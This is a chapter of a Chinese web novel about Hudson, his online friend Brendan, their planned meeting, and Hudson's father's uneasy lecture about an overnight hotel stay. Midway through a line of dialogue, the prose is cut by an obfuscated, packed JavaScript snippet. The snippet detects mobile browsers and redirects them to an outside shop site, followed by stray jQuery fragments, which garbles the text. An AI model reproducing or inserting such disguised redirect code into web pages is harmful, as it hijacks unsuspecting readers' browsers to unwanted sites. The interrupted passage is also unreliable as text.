24.亲密关系
作品:《雌君想带球跑,不许》 24、
哈德森不死心的将图片放大,看到了轮廓分明的下颌线条,喉结旁边有颗黑色小痣点缀其上。
再往下,衬衣领口V字交叉的地方,能看到一小节凸起的锁骨,下方有一颗新的小痣。位置稍微有些深,正常穿衣服很难露出来。
果然有。
但实在不够显眼,如果能用一圈红印标示出来,就非常完美。
至于什么红印,他的大脑里没有明确的概念。
他的手指在屏幕上来回划动,反复放大缩小,似乎想要通过这种方式将衣领扒开一些,再确定一下其他地方……
嚯!
哈德森猛地收回手指,警告自己:
“好奇心不能太强,不许对好朋友的外貌评头论足,非常没有礼貌。而且痣也不是缺点,盯着看干什么?”
光脑又响起了提示音。
布伦丹发来一条信息。
【布伦丹:「图片」】
【布伦丹:我这里的衣服不多,目前就这两身,你觉得哪套合适?】
哈德森第一张还没鉴赏完毕,下一张就发了过来,手忙脚乱的点开。
第二张和他准备的风格有些类似,长款风衣内搭毛衣,版型宽大,整体气质更温和内敛一些。
这张拍摄机位更低一些,布伦丹靠在墙上,视线朝下,姿势很放松。
以哈德森的社恐性格,他内心原本更偏向于第二套。
比较安全。
第一套气质太张扬,走在哪里都会是人群焦点。
偏偏第一套的露肤面积大,恰好露出锁骨的小痣。
哈德森总觉得,布伦丹虽然说话很斯文礼貌,实则更适合第一套不羁自由的感觉。
他心想:
对,是布伦丹的气质更贴。
而且我要穿第二套,两人穿衣样式太接近,站在一起就像什么地下组织碰头一样。
【哈特梆硬:第一套不错。】
【布伦丹:为什么?你更喜欢第一套的哪里?】
哪里?
当然是衬衣的V字领口啊。
哈德森的脸瞬间涌上了热意,在聊天框里各种胡言乱语,再立刻删除。
最后昧着良心,憋了个牛头不对马嘴。
【哈特梆硬:因为现在很热。】
【布伦丹:哈哈哈哈哈,等我们玩起来,我会更热的~】
玩。
哈德森敏锐捕捉到熟悉领域的词语,神经放松了下来。
【哈特梆硬:你说得我手痒了。】
【布伦丹:……】
【布伦丹:你想要……了吗?】
【哈特梆硬:对。快点,上线上线,大逃杀。】
对面短暂沉默了一分钟。
【布伦丹:不行,我得准备出发了,这三天可能都没办法及时回复你。】
【哈特梆硬:哦。那我们先说一下,在机场的哪里碰面?】
【布伦丹:我看看。机场中心区域有一个咖啡店,在那里怎么样?】
【哈特梆硬:好的。那你一路平安。】
聊完,他盯着布伦丹的照片看了很久。
他少年时期的偶像是个雌虫大明星,所以他对雌虫的穿衣打扮稍微有点儿了解。
不多,正好够他品鉴一下布伦丹的几张照片。
越看越满意。
大多数雌虫不管长什么样子,都像是一尊强壮高大的雕塑,几千个雌虫共用一套表情。
表情十分僵硬,拘谨约束。
就好像被无形的框架钉死在一个安全的范围内。
或许很死板,可在这样雌雄悬殊的社会里,起码无功无过,不用担心出差错后,耽误了仅有的机会。
卡尔能以雌虫身份成为大明星,就是因为他在镜头前会自信的展示着自己,丝毫不在意审视他的雄虫群体是否喜欢。
恰好他的审美很在线,即便他偶尔会在镜头里展示自己部分虫化的身躯,也是极具线条感与美学张力,感受不到恐怖。
布伦丹身上也有类似的感觉。
不过气质略有不同。
隐隐有种锋利的气息。
脸上那颗不够完美的小痣与他的气质相得益彰,不仅不扣分,反而更凸显了他的帅气。
只是不知道线下真正见面是什么样子。
哈德森看了眼墙上的日历,恨不得敲晕自己直接到三天后。
显然不可能。
无聊透顶的哈德森开始研究航班,下午五点有哪些飞行器会降落在机场。
一直到了晚上,他才想起,还得告诉一下特里斯行程。
然而时间已经到了九点。
特里斯睡觉时间很早,一般八点半就上床休息了,只能第二天再联系。
他小时候偶尔会好奇,他的双亲都是每天需要睡很久的低精力群体,居然能生出他这个日常熬夜的夜猫子。
要不是他传承了特里斯的记忆,还有同款卷毛,他都怀疑自己是不是亲生的。
距离他睡觉还有一段时间,他玩了会儿光脑,刷到一条新的咨询。
【似风:您好,我这边有一个新的问题。如果您觉得冒犯,可以不做回答。】
【似风:约会时安排了在酒店住一晚,雄虫同意,这是可以继续发展亲密关系的意思吗?】
哈德森眼睛唰得亮了起来。
哇塞,那对小情侣已经要开房了!
外面的雄虫果然不一样啊。
不过这个方面哈德森是完全不了解,编也编不出来。
【林中云雀:抱歉,这个问题我无法回答,需要他自己去询问雄虫的意见,获得许可。加油,他在朝着正确的方向努力,是很好的开始。】
【似风:感谢您的回答。】
似风依旧很有礼貌的转了咨询费,这次哈德森没收。
第二天一大早,哈德森起床先在日历上划掉一天,然后把行程发给特里斯。
特里斯的态度却一百八十度大转变。
【哈特梆硬:我们准备下午在机场见面,吃完饭去酒店通宵看比赛。】
特里斯直接打了他的通讯,语气不善:
“通宵看比赛?你要和谁出去玩?”
哈德森这才想起自己没有说布伦丹的事情,兴奋地介绍:
“叫布伦丹。我在万联网上认识的新朋友,性格很好,长得帅,游戏很有天赋,你不知道他有多好玩,哈哈哈,特别有意思,明明追星还不承认。我给他转发的视频他都看过了,还点赞了好几个,以为我不知道吗?”
特里斯有些疑惑:
“我怎么没听说过这个名字,雌虫还是雄虫?”
“雌虫。”
“你们认识多久了?”
“好像不到一个月吧?记不清了。”
哈德森对这一点没有任何隐瞒,这是他的改变,他勇气的体现。
特里斯的声音瞬间拔高:
“一个月就和雌虫出去,还要住一晚?!”
哈德森连忙纠正:
“你想什么呢!我们是去电竞酒店
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083873|194163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看比赛。外面的环境很差啊,肯定是酒店更安全隐蔽一点。”
特里斯沉默了良久:
“你成年了,我不会多插手你的事情,只有一个问题。你要和他做吗?”
哈德森大脑短暂空白了一瞬,好像在毫无准备的情况下踏入了一片崭新的领域。
但因为没有太多了解,所以只是踩了一下,随后茫然地撤回了脚。
他努力说服自己的父亲:
“我们只是朋友,他也没有表达出其他的想法,只是一起玩得开心而已。”
特里斯嗯了一声:
“孤雌寡雄在酒店过夜,只是看比赛。老天,我给你介绍过那么多优秀的雌虫,你都没有用这种语气形容过他们。”
哈德森硬梆梆地说:
“是欣赏!你在污蔑我的朋友,我警告你。而且我在结婚前绝对不可能和雌虫做那种事情,你总是不相信我。”
特里斯叹了口气:
“你真的太幼稚了,就算你不想做,雌虫不想吗?如果到时候他强迫你,你该怎么办?你根本没有解决的办法。事情永远不会按照你预想的方向发展,你作为雄虫,必须做好准备。”
“不可能。”
“你不用嘴硬,听着就行。我教你怎样逃脱雌虫的强迫,这是一项基本的生活技能。”
雌虫在身体强度上远胜雄虫,雄虫理论上无法逃脱雌虫的控制。
不过想要完成整个交///配行为,需要雄虫起码能兴奋起来。
纯粹的恐惧下极难实现,所以雌虫一定会在开始阶段进行一些暧昧的肢体互动,这也就给了雄虫逃脱机会。
哈德森全身难受,一直在努力说:
“我不想听!”
但特里斯依旧讲了下去。
“你可以通过释放一些信息素降低雌虫的攻击性。如果不会释放的话,就摩擦耳后和手腕,简单刺激腺体,然后等他允许你靠近的时候,通过亲密动作,将你的气味笼罩在他身上……”
哈德森堵不住自己的耳朵,听他父亲描述的场面,自动带入了布伦丹,整张脸烫得要命,小声嘟囔:
“我没想过那些事,你不要说了。再说我就挂断。”
特里斯的脾气也上来了,说:
“我是你父亲,听我说两句能掉块肉吗?你敢挂断我一会儿就去你家。”
哈德森可不敢让他看到自己现在面红耳赤的模样,只能把光脑放在一边,假装自己神游天外,尝试左耳朵进右耳朵出。
然而零散的词语还是偷偷飘进了他的大脑里。
“…雌虫的身体看上去很松弛,这是表象,千万不能停下…”
“…不同雌虫的状态有差别,但只要看到他瞳孔涣散,时机就很合适…”
花了十分钟,哈德森终于解救了自己的耳朵,仓促地挂断了通讯。
但他整张脸已经比番茄还要红,怎么都消退不了。
好烦,早知道不和特里斯说。
还好他没仔细听,不然该怎么面对自己的好朋友啊!
他和往常一样单排打游戏,好友界面里,布伦丹的头像还是灰色,没有上线,他却忍不住笑了起来。
布伦丹是个很好的雌虫,怎么可能强迫他?
他其实对相处的恶意非常敏感。
特里斯再婚后,埃尔对他一直很好,他却能感受到那种若有若无的排斥。
布伦丹就从来没有给他类似的感觉,甚至还有一种说不出道不明的亲近。
他们都是家里格格不入的小孩。

